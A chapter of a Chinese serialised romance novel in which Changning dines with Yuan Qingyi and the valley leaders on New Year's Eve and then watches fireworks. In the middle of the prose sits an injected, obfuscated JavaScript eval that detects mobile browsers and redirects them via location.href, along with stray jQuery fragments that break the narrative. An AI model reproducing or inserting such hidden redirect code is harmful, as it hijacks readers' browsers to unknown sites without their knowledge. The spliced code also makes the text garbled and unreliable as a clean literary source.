18. 第十八梦

及至初夕,晌午时分长宁随原清逸去了万和堂,两名护法,四名掌侍,四名暗卫统领,拢共十二人,正好一桌。


长宁边安静地吃边留心着他们的谈话,从小年夜及今儿来看,左护法叶荣雄姿英发,实则和蔼可亲。右护法沈傲霜温文尔雅,实则外热内冷。


掌人首领卓华一本正经,不怒自威;掌膳首领陆云禾英姿飒爽,心灵手巧;掌资首领秦政气宇轩昂,利析秋毫;掌礼首领季羡风度翩翩,口若悬河。


四名暗卫统领除却月狐与月燕,还有两名代号分为张月鹿,毕月乌,其中月鹿面如傅粉,雌雄莫辨;月乌谦恭仁厚,敦默寡言。


总之,未及两顿饭的功夫长宁便将苍龙谷众首领的风格摸了个底。


原清逸偶尔附和言谈,余光始终捎及身侧,近几回筵宴她皆极为雅静,同二人用膳时的喋喋不休大相庭径,乌眸只有在听得与自己有关之事方闪微光。


她莫非怕羞?转念一想,她哪里懂得何为羞怯,根本是一面如旧,能说善道,同只鸟都能聊得分外欢畅。


然,她虽恬静,对众首领的关切及询问倒有问必答,言辞无可指摘,偶有缺失她亦能极快察言观色,甚至无须月燕从旁指引便能从善如流。


原清逸虽总认为长宁柔弱纤细,不堪一击,但若论才智,她绝对端得起苍龙谷大小姐之称。


甚至于众首领眼中,他亦看出了称赏。


察觉到目光,长宁微侧头,原清逸或谈或饮,极少动箸,她几度欲替其夹菜却顾及众人,是以几乎未与他闲谈。


四目相对间,彼此打了个照面。


长宁见他的视线落于自己手中的龙凤呈祥团上,低低问了声:“兄长欲食么?”


细微之声于高谈阔论中好似小石子入大海,但桌上之人皆卓尔不凡,闻言竖耳。


纵未注目,亦觉数道视线齐刷刷地往面前扫,原清逸从紫檀镶理石背椅起身,轻“嗯”了声。


长宁并未将手中之食放入莲纹青花碗,反而迅速拾其箸夹了块龙凤呈祥团,还顺带捡了几样平素他钟爱之食放于其前,盈盈一笑。


畅谈声稍减,原清逸也未注意,细嚼慢咽地吃起来。


见状,月狐面带嬉笑,月燕眉梢轻扬,叶荣心下甚慰,沈傲霜眼角隐笑,其余众人皆静默不言,心下却对长宁更是刮目......


弦月于翠微叠岚中升起,万点繁星如明珠闪烁碧空,除夕之夜,按传统得食拨霞供。


青瓷烫金炉上“咕噜咕噜”地冒着腾腾白烟,原清逸本以为按长宁的性子该得有一桌菜肴,瞟眼看去却比预料中少了大半。


长宁抿出一贯的梨涡:“兄长来坐,片刻便能食。”


“仅几种菜肴,够你吃?”原清逸下意识问了声。


“少么?”长宁垂眸点数:“一二三……不少,足有十二道菜呢。”


纵有十二碟,然而白玉盘精致,每道菜仅几片,原清逸落座后接着道:“当真够?”


此话关切之意明显,长宁莞尔一笑:“兄长,昨夜与今儿晌午你皆食得少,我问了月狐才晓得你过两日又要闭关,需清胃,想来今夜也只食少许。而我近来于筵宴食得满腹,倒也不饿,是以这些已足够,多了未食尽倒浪费……”


她的絮絮叨叨原清逸已习为故常,他未搭话,也没打断,只静静地聆听。


长宁料想他心情应不错,她涮好一片醺醉仙鱼放入青瓷冰纹碗,甜甜笑道:“兄长,你闭关时不吃食可会饿?”


原清逸盯了眼,旋即优雅地送入口中,待食尽方道:“不会。”


“那兄长昔年最久几日未食?”


视线扫过猩红肉卷,肌理清晰,甚为新鲜,原清逸的眉头不经意叠过一丝褶皱:“月余。”


长宁飞快地捕捉到了他细微的表情,思绪掠过几圈,她盈笑道:“兄长真厉害,不过日后你月余未食,我肯定会很忧心,指不定待兄长出关时我脸上的肉也没了。”


说着,她拿两指捏了捏年糕团脸。


含笑的双眸,关切的语气皆令人愉悦,原清逸心间的阴霾宛若被春风携卷,难得打趣:“如今你已及岌,面容却仍如孩童,清瘦些或许更好。”


“更好?”长宁边食边给他夹菜,问道:“何处好?”


“更具女子之美。”


女子之美,长宁脑中飘过舞姬之姿,莫非兄长喜其形,可若中意又为何不带回雅阁?


晶眸微敛,一看便在思索,原清逸倒爱看她凝眉,目光狡黠,似团雪白的小胖狐狸。


于淡淡白烟中,长宁夹起一根圆润玉延:“我形如山药,”复又夹起根青菜:“而兄长可是喜这茼蒿?”


原清逸从不近女色,亦对女人无丝毫兴趣,即便嗜血之欲难控亦只施蛊术,绝不会赏鉴女子。


闻言,他并未接话,而是夹过她手中的茼蒿涮于滚锅。


长宁打眼一瞧,此举乃食,食即代表中意,怪不得兄长对自己忽冷忽热,原是因自己形容不大合其口味!


她瞟了眼白玉碟,所剩不多,她认为今日照常食,明儿再少吃。


先前月燕嘱咐不可过于减食,而且食得少叶荣还认为乃饭菜不合口,长宁不喜与人麻烦,日后看来得多多活络身体,兴许能日渐清瘦。


正思忖间,便见翠绿的茼蒿落于青瓷碗,长宁抬头笑道:“多谢兄长。”


继而便见他于锅中夹起圆润玉延,端雅地放入口中。


如此,长宁愈发地认定自己所疑不假,不过清瘦之事料想并非一两日,待原清逸出谷后她便行动,等下回见面给他个惊喜,搞不好能直接亲近到位!


少女的欢喜纵使未出声亦令人如沐春风,原清逸的神情也不自觉温和,状似漫不经心地问道:“又思及何事,如此欢喜。”


“兄长看出来了呀,”长宁乖乖地盯着他,弯着月牙眼:“今儿乃除夕,昔年我不晓得逢节之意,如今与兄长一起,我方懂何为阖家团圆。”


其实原清逸许久未过除夕,他记不得这些日子,亦不愿铭记。


注视着她带着期许的面容,他微勾唇角:“你喜欢便好。”


长宁极少见他笑,旋即放下青瓷碗,手快速伸过去握住他的掌心,语调轻扬:“兄长,日后我们年年如此,我会一直伴你身侧。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241459|166279||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


掌心软且热,如同被温汤包裹,原清逸微怔,也未将手抽走,他盯了片刻才不紧不慢道:“你日后会嫁人。”


嫁人?此为何意,兄长要娶自己了?


长宁仔细留意着他的神情,却并未于平淡的眉眼间觉出任何喜色。她谨记原霸天的叮嘱,略作沉吟方道:“嫁人与伴兄长身侧并不相冲。”


原清逸认为此话倒也有理,苍龙谷家大业大,她乃大小姐,找个上门女婿何其容易,可她懂何为嫁人?莫非她于西谷时见过男子?


深眸夹杂着打量:“你可有意中人?”


意中人?此又为何意?


长宁端视着他,思绪飞速绕了几圈,待收回时脱口而出:“兄长便是我的意中人。”


闻言,原清逸差点被呛了一口。


察觉气氛不对,长宁紧着找补道:“兄长,我不懂何为意中人,暗自揣测为中意,喜欢之人,我喜欢兄长……这样……如此……”


她本欲吹一通溢美之词,又想到自己已说过多次,重复侃侃不大诚心。


长宁举起指尖朝冰雪脸轻触而去:“兄长的眉,眼,鼻,唇,皆合我心意,因此我喜欢之人应如兄长这般。”


指腹如蜻蜓点水掠过,原清逸并未闪躲,不过手指从白玉盏拿开时微沾了点茶水。


目光扫过相叠的小白手,他微微吐息:“如此说来,你倒中意皮相。”


人本以皮相区分,长宁疑道:“不对么?”


“并无不妥,你身为苍龙谷大小姐,自然无人敢对你不敬。”


长宁尚不全明其意,但隐隐认为此乃好话,她轻启檀口,声如珠玉落盘:“兄长待我真好。”


原清逸眉头一跳:“我会嘱咐月燕挑些适龄男子的画像给你品鉴,若中意,再召见。”


当然,他并非突发良心要当个称职的兄长,而是在试探此举会否引来幽泽关注。


长宁虽不甚明了,但料想月燕会解释,因此并未在意。


弦月如钩,照彻天地,流光万倾,皎华如水。


长宁甫一下箸便听得轰隆声,她侧头仰望,只见道道绚烂的弧线冲上天际,于黑幕上绽出火树银花,将夜空燃得如同白昼。


她欢喜地问道:“兄长,此为何物?”


“焰火。”


“原来这便是焰火,我曾于书籍里见过描述,‘百枝然火龙衔烛,七采络缨凤吐花’,倒真恰如其分,令人目不暇接。”


话毕她跑下廊台,轻踩琼英,和着满空璀璨欢快地转圈。


狐裘摇曳,露出缀满紫花的裙摆,她的身影与月光交相辉映,宛若精灵。


原清逸静静地注视长宁,纯碎的双眸无疑能令任何看过之人心生怜爱,纵如他这般冷铁心肠之人,也会因短短几日相处便难拒绝她的靠近。


即便她的血无时无刻不在散发着诱惑,他也能敛息克制......


焰火绚丽多彩,看得长宁喜笑颜开,她转过身恰见星光照亮原清逸的脸,冰雪面化为流泉,宛若浸着冉冉梅香。


耳际再度传来“嘭”声时,长宁飞也似地朝他奔去,不由分便撞入怀中,紧紧地将人搂住。